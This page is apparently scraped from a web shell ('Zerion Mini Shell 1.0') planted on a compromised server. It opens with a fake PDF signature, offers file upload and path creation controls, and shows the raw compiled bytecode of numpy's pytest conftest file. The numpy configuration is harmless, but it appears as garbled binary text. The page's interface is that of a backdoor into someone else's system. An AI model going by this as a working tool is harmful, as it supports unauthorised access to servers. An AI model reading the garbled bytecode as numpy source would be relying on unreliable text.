%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python3.9/site-packages/numpy/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib64/python3.9/site-packages/numpy/__pycache__/conftest.cpython-39.pyc

a

z[yc��@s(dZddlZddlZddlZddlZddlZddlmZdaiZ	ej
�ej�
e��d��ejjdddd�ejjdddddej��d	�ej�
ej�e�d
d�Zej�ej�e�r�dnd�dd
�Zdd�Zdd�Ze��dd��Zejddd�dd��Zejdd�dd��Zejdd�dd��Z dS)z=
Pytest configuration and fixtures for the Numpy test suite.
�N)�get_fpu_modez.hypothesisz
numpy-profileT)�name�deadline�
print_blobznp.test() profile)rrrZdatabaseZderandomizeZsuppress_health_checkz..z
pytest.inicCs4|�dd�|�dd�|�dd�|�dd�dS)NZmarkersz=valgrind_error: Tests that are known to error under valgrind.z:leaks_references: Tests that are known to leak references.zslow: Tests that are very slow.z,slow_pypy: Tests that are very slow on pypy.)Zaddinivalue_line)�config�r�4/usr/lib64/python3.9/site-packages/numpy/conftest.py�pytest_configure,s����r	cCs|jddddd�dS)Nz--available-memory�storez�Set amount of memory available for running the test suite. This can result to tests requiring especially large amounts of memory to be skipped. Equivalent to setting environment variable NPY_AVAILABLE_MEM. Default: determinedautomatically.)�action�default�help)Z	addoption)�parserrrr�pytest_addoption7s
�rcCs"|j�d�}|dur|tjd<dS)NZavailable_memoryZNPY_AVAILABLE_MEM)rZ	getoption�os�environ)ZsessionZ
available_memrrr�pytest_sessionstartAsrcCs0t�}tdur|an|tkr,t|ft|<|adS)z�
    Check FPU precision mode was not changed during test collection.

    The clumsy way we do it here is mainly necessary because numpy
    still uses yield tests, which can execute code at test collection
    time.
    N)r�
_old_fpu_mode�_collect_results)�item�moderrr�pytest_itemcollectedHsr�function)Zscope�autouseccsZt�}dVt�}||kr*td�||���t�|j�}|durV|\}}td�||���dS)zC
    Check FPU precision mode was not changed during the test.
    Nz@FPU precision mode changed from {0:#x} to {1:#x} during the testzIFPU precision mode changed from {0:#x} to {1:#x} when collecting the test)r�AssertionError�formatr�getZnode)ZrequestZold_modeZnew_modeZcollect_resultrrr�check_fpu_mode\s��r)rcCst|d<dS)NZnp)�numpy)Zdoctest_namespacerrr�add_npqsrcCs|�dd�dS)NZPYTHONHASHSEED�0)Zsetenv)Zmonkeypatchrrr�	env_setupusr!)!�__doc__rZtempfileZ
hypothesisZpytestrZnumpy.core._multiarray_testsrrrZ
configurationZset_hypothesis_home_dir�path�joinZ
gettempdirZsettingsZregister_profileZHealthCheck�all�dirname�__file__Z_pytest_iniZload_profile�isfiler	rrZhookimplrZfixturerrr!rrrr�<module>sD����







Zerion Mini Shell 1.0